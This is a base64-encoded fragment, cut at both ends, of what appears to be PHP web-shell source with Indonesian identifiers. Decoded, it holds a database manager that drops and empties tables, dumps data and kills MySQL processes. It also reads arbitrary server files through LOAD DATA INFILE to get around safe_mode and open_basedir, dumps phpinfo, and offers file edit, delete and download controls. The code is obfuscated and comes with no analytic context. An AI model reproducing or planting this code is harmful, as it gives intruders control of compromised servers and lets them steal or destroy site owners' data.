YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOwplY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxuIjsKZWNobyAiPHRhYmxlIGNsYXNzPSd0dWInPjx0cj4iOwplY2hvICI8dGg+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dfYWxsXCIgdmFsdWU9XCIxXCI+PC90aD4iOwpmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7CiAgJHYgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwogIGlmICgkZVswXSA9PSAiYSIpIHskcyA9ICJkIjsgJG0gPSAiYXNjIjt9CiAgZWxzZSB7JHMgPSAiYSI7ICRtID0gImRlc2MiO30KICBlY2hvICI8dGg+IjsKICBpZiAoZW1wdHkoJGVbMF0pKSB7JGVbMF0gPSAiYSI7fQogIGlmIChAJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQogIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0XyIuJG0uIlwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30KICBlY2hvICI8L3RoPiI7Cn0KZWNobyAiPHRoPjxmb250IGNvbG9yPVwiIzAwRkYwMFwiPjxiPmFjdGlvbjwvYj48L2ZvbnQ+PC90aD4iOwplY2hvICI8L3RyPiI7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7CiAgZWNobyAiPHRyPiI7CiAgJHcgPSAiIjsKICAkaSA9IDA7CiAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpIHsKJG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwokdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzsKICB9CiAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyAkdyA9IHN1YnN0cigkdywwLHN0cmxlbigkdyktMyk7IH0KICBlY2hvICI8dGQgYWxpZ249J2NlbnRlcicgc3R5bGU9J3BhZGRpbmc6MHB4Oyc+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4iOwogICRpID0gMDsKICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikgewokdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOwppZiAoJHYgPT0gIiIpIHsgJHYgPSAiPGZvbnQgY29sb3I9XCIjMDBGRjAwXCI+TlVMTDwvZm9udD4iOyB9CmVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7CiRpKys7CiAgfQogIGVjaG8gIjx0ZD4iOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdy4iIExJTUlUIDE7IikuIlwiPkRlbGV0ZTwvYT4iOwogIGVjaG8gIiZuYnNwO3wmbmJzcDsiOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj5FZGl0PC9hPiAiOwogIGVjaG8gIjwvdGQ+IjsKICBlY2hvICI8L3RyPiI7Cn0KbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CmVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIvPiA8c2VsZWN0IG5hbWU9XCJzcWxfeFwiPiI7CmVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7CmVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOwplY2hvICI8L3NlbGVjdD4gPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsKfQogfQogZWxzZSB7CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3NvY2spOwppZiAoISRyZXN1bHQpIHsgZWNobyBteXNxbF9zbWFydGVycm9yKCk7IH0KZWxzZSB7CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0YWJsZSBjbGFzcz0idHViIj4KPHRyPjx0aD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImJveHRibF9hbGwiIHZhbHVlPSIxIj48L3RoPjx0aD5UYWJsZTwvdGg+PHRoPlJvd3M8L3RoPjx0aD5FbmdpbmU8L3RoPjx0aD5DcmVhdGVkPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5TaXplPC90aD48dGg+QWN0aW9uPC90aD48L3RyPic7CiAkaSA9IDA7CiAkdHNpemUgPSAkdHJvd3MgPSAwOwogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsKJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07CiR0cm93cyArPSAkcm93WyJSb3dzIl07CiRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVuZ3RoIl0pOwplY2hvJzx0cj4KPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJwYWRkaW5nOjBweDsiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYm94dGJsW10iIHZhbHVlPSInLiRyb3dbIk5hbWUiXS4nIj48L3RkPgo8dGQ+PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF90Ymw9Jy51cmxlbmNvZGUoJHJvd1siTmFtZSJdKS4nIj48Yj4nLiRyb3dbIk5hbWUiXS4nPC9iPjwvYT48L3RkPgo8dGQ+Jy4kcm93WyJSb3dzIl0uJzwvdGQ+PHRkPicuJHJvd1siRW5naW5lIl0uJzwvdGQ+PHRkPicuJHJvd1siQ3JlYXRlX3RpbWUiXS4nPC90ZD48dGQ+Jy4kcm93WyJVcGRhdGVfdGltZSJdLic8L3RkPjx0ZD4nLiRzaXplLic8L3RkPgo8dGQ+PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF94PXF1ZXJ5JnNxbF9xdWVyeT0nLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuJyI+RW1wdHk8L2E+Jm5ic3A7fCZuYnNwOzxhIGhyZWY9IicuJHNxbF9zdXJsLidzcWxfeD1xdWVyeSZzcWxfcXVlcnk9Jy51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIuJHJvd1siTmFtZSJdLiJgIikuJyI+RHJvcDwvYT4mbmJzcDt8Jm5ic3A7PGEgaHJlZj0iJy4kc3FsX3N1cmwuJ3NxbF90YmxfeD1pbnNlcnQmc3FsX3RibD0nLiRyb3dbIk5hbWUiXS4nIj5JbnNlcnQ8L2E+PC90ZD4KPC90cj4nOwokaSsrOwogfQogZWNobyAiXHRcdDx0cj5cbiIuCiJcdFx0PHRoPis8L3RoPjx0aD4kaSB0YWJsZShzKTwvdGg+PHRoPiR0cm93czwvdGg+PHRoPiRyb3dbMV08L3RoPjx0aD4kcm93WzEwXTwvdGg+PHRoPiRyb3dbMTFdPC90aD48dGg+Ii52aWV3X3NpemUoJHRzaXplKS4iPC90aD48dGg+PC90aD5cbiI7CmVjaG8nPC90cj4KPC90YWJsZT4KPGRpdiBhbGlnbj0icmlnaHQiPgo8c2VsZWN0IGNsYXNzPSJpbnB1dHoiIG5hbWU9InNxbF94Ij4KPG9wdGlvbiB2YWx1ZT0iIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJ0Ymxkcm9wIj5Ecm9wPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InRibGVtcHR5Ij5FbXB0eTwvb3B0aW9uPiI7CjxvcHRpb24gdmFsdWU9InRibGR1bXAiPkR1bXA8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxjaGVjayI+Q2hlY2sgdGFibGU8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxvcHRpbWl6ZSI+T3B0aW1pemUgdGFibGU8L29wdGlvbj4iOwo8b3B0aW9uIHZhbHVlPSJ0YmxyZXBhaXIiPlJlcGFpciB0YWJsZTwvb3B0aW9uPiI7CjxvcHRpb24gdmFsdWU9InRibGFuYWx5emUiPkFuYWx5emUgdGFibGU8L29wdGlvbj4iOwo8L3NlbGVjdD4KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNvbmZpcm0iPgo8L2Rpdj4KPC9mb3JtPic7CiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKfQogfQp9CiB9Cn0KZWxzZSB7CiR4cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7CmlmIChpbl9hcnJheSgkc3FsX3gsJHhzKSkgewplY2hvICc8dGFibGUgY2xhc3M9InRhYiI+Cjx0cj4KPHRkIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMzMzMzMzM7cGFkZGluZzozcHg7Ij48Yj5DcmVhdGUgbmV3IERCOjwvYj4KPGZvcm0gYWN0aW9uPSInLiRzdXJsLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJuZXdkYiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld2RiIiBzaXplPSIyMCI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiAgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj4KPC9mb3JtPgo8L3RkPgo8dGQgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjNweDsiPjxiPlZpZXcgRmlsZTo8L2I+Cjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZ2V0ZmlsZSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiciPgo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSkuJyI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPgo8L2Zvcm0+CjwvdGQ+CjwvdHI+CjwvdGFibGU+JzsKfQppZiAoIWVtcHR5KCRzcWxfeCkpIHsKIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKIGlmICgkc3FsX3ggPT0gIm5ld2RiIikgewplY2hvICI8Yj4iOwppZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7fQplbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiB9CiBpZiAoJHNxbF94ID09ICJzZXJ2ZXJzdGF0dXMiKSB7CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBTVEFUVVMiLCAkc3FsX3NvY2spOwplY2hvICI8Y2VudGVyPjxiPlNlcnZlciBzdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndHViJz48dGg+PGI+TmFtZTwvYj48L3RoPjx0aD48Yj5WYWx1ZTwvYj48L3RoPjwvdHI+IjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQplY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7Cm15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogfQogaWYgKCRzcWxfeCA9PSAic2VydmVydmFycyIpIHsKJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7CmVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwplY2hvICI8dGFibGUgY2xhc3M9J3R1Yic+PHRoPjxiPk5hbWU8L2I+PC90aD48dGg+PGI+VmFsdWU8L2I+PC90aD48L3RyPiI7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30KZWNobyAiPC90YWJsZT4iOwpteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKIH0KIGlmICgkc3FsX3ggPT0gInByb2Nlc3NlcyIpIHsKaWYgKCFlbXB0eSgka2lsbCkpIHsKICRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOwogJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsKIGVjaG8gIjxiPlByb2Nlc3MgIyIuJGtpbGwuIiB3YXMga2lsbGVkLjwvYj4iOwp9CiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7CmVjaG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7CmVjaG8gIjx0YWJsZSBjbGFzcz0ndHViJz48dGg+PGI+SUQ8L2I+PC90aD48dGg+PGI+VVNFUjwvYj48L3RoPjx0aD48Yj5IT1NUPC9iPjwvdGg+PHRoPjxiPkRCPC9iPjwvdGg+PHRoPjxiPkNPTU1BTkQ8L2I+PC90aD48dGg+PGI+VElNRTwvYj48L3RoPjx0aD48Yj5TVEFURTwvYj48L3RoPjx0aD48Yj5JTkZPPC9iPjwvdGg+PHRoPjxiPkFjdGlvbjwvYj48L3RoPjwvdHI+IjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7IGVjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PHRkPiIuJHJvd1syXS4iPC90ZD48dGQ+Ii4kcm93WzNdLiI8L3RkPjx0ZD4iLiRyb3dbNF0uIjwvdGQ+PHRkPiIuJHJvd1s1XS4iPC90ZD48dGQ+Ii4kcm93WzZdLiI8L3RkPjx0ZD4iLiRyb3dbN10uIjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9CmVjaG8gIjwvdGFibGU+IjsKbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiB9CiBpZiAoJHNxbF94ID09ICJnZXRmaWxlIikgewokdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOwokc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7CmlmICghJHNlbGVjdCkge215c3FsX2NyZWF0ZV9kYigkdG1wZGIpOyAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7ICRjcmVhdGVkID0gISEkc2VsZWN0O30KaWYgKCRzZWxlY3QpIHsKICRjcmVhdGVkID0gRkFMU0U7CiBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOwogJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIpOwogaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9CiBlbHNlIHsKZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyAkbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7IH0KJGYgPSAiIjsKd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHsgJGYgLj0gam9pbiAoIlxyXG4iLCRyb3cpOyB9CmlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQplbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30KbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7Cm15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOwogfQp9Cm15c3FsX2Ryb3BfZGIoJHRtcGRiKTsKIH0KfQogfQp9CmVjaG8gJzwvdGQ+PC90cj4nOwppZiAoJHNxbF9zb2NrKSB7CiAgJGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsKICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSkgeyAkYWZmZWN0ZWQgPSAwOyB9CiAgZWNobyAiXHQ8dHI+PHRoIGNvbHNwYW49Mj5BZmZlY3RlZCByb3dzOiAkYWZmZWN0ZWQ8L3RoPjwvdHI+IjsKfQplY2hvICc8L3RhYmxlPjwvY2VudGVyPic7CiAgfQplY2hvICc8L2Zvcm0+JzsKfQp9Ci8vKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tWyBiYXRhcyBdLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLy8KCgplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7IEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCiAgICBAb2Jfc3RhcnQoKTsKICAgIEBldmFsKCJwaHBpbmZvKCk7Iik7CiAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgIEBvYl9lbmRfY2xlYW4oKTsgICAgCiAgICAkYXdhbCA9IHN0cnBvcygkYnVmZiwiPGJvZHk+IikrNjsKICAgICRha2hpciA9IHN0cnBvcygkYnVmZiwiPC9ib2R5PiIpOwogICAgZWNobyAiPGRpdiBjbGFzcz1cInBocGluZm9cIj4iLnN1YnN0cigkYnVmZiwkYXdhbCwkYWtoaXItJGF3YWwpLiI8L2Rpdj4iOwp9CmVsc2VpZihpc3NldCgkX0dFVFsndmlldyddKSAmJiAoJF9HRVRbJ3ZpZXcnXSAhPSAiIikpewogIGlmKGlzX2ZpbGUoJF9HRVRbJ3ZpZXcnXSkpeyAKICAgIGlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gbWFnaWNib29tKCRfR0VUWyd2aWV3J10pOwogICAgaWYoISR3aW4gJiYgJHBvc2l4KXsKICAgICAgICAkbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7CiAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTsKICAgIH0KICAgIGVsc2UgewogICAgICAgICRvd25lciA9ICR1c2VyOwogICAgfQogICAgJGZpbG4gPSBiYXNlbmFtZSgkZmlsZSk7CiAgICBlY2hvICI8dGFibGUgc3R5bGU9XCJtYXJnaW46NnB4IDAgMCAycHg7bGluZS1oZWlnaHQ6MjBweDtcIj4KICAgIDx0cj48dGQ+RmlsZW5hbWU8L3RkPjx0ZD48c3BhbiBpZD1cIiIuY2xlYXJzcGFjZSgkZmlsbikuIl9saW5rXCI+Ii4kZmlsZS4iPC9zcGFuPgogICAgPGZvcm0gYWN0aW9uPVwiP3k9Ii4kcHdkLiImYW1wO3ZpZXc9JGZpbGVcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxuLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsbi4iXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHZhbHVlPVwiUmVuYW1lXCIgLz4KICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7XCIgLz4KICAgIDwvZm9ybT4KICAgIDwvdGQ+PC90cj4KICAgIDx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiIudWt1cmFuKCRmaWxlKS4iPC90ZD48L3RyPgogICAgPHRyPjx0ZD5QZXJtaXNzaW9uPC90ZD48dGQ+Ii5nZXRfcGVybXMoJGZpbGUpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4KICAgIDx0cj48dGQ+Q3JlYXRlIHRpbWU8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVjdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkxhc3QgbW9kaWZpZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+CiAgICA8dHI+PHRkPkFjdGlvbnM8L3RkPjx0ZD48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0kZmlsZVwiPkVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxuKS4iX2Zvcm0nKTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RlbGV0ZT0kZmlsZVwiPkRlbGV0ZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGw9JGZpbGVcIj5Eb3dubG9hZDwvYT4mbmJzcDsoPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZVwiPkdaaXA8L2E+KTwvdGQ+PC90cj4KICAgIDx0cj48dGQ+VmlldzwvdGQ+PHRkPjxhIGhyZWY9XCI/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiJcIj5UZXh0PC9hPiB8IDxhIGhyZWY9XCI/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiImYW1wO3R5cGU9Y29kZVwiPkNvZGU8L2E+IHwgPGEgaHJlZj1cIj95PSIuJHB3ZC4iJmFtcDt2aWV3PSIuJGZpbGUuIiZhbXA7dHlwZT1pbWFnZVwiPkltYWdlPC9hPjwvdGQ+PC90cj4KICAgIDwvdGFibGU+CiAgICAiOwogICAgaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXsKICAgICAgICBlY2h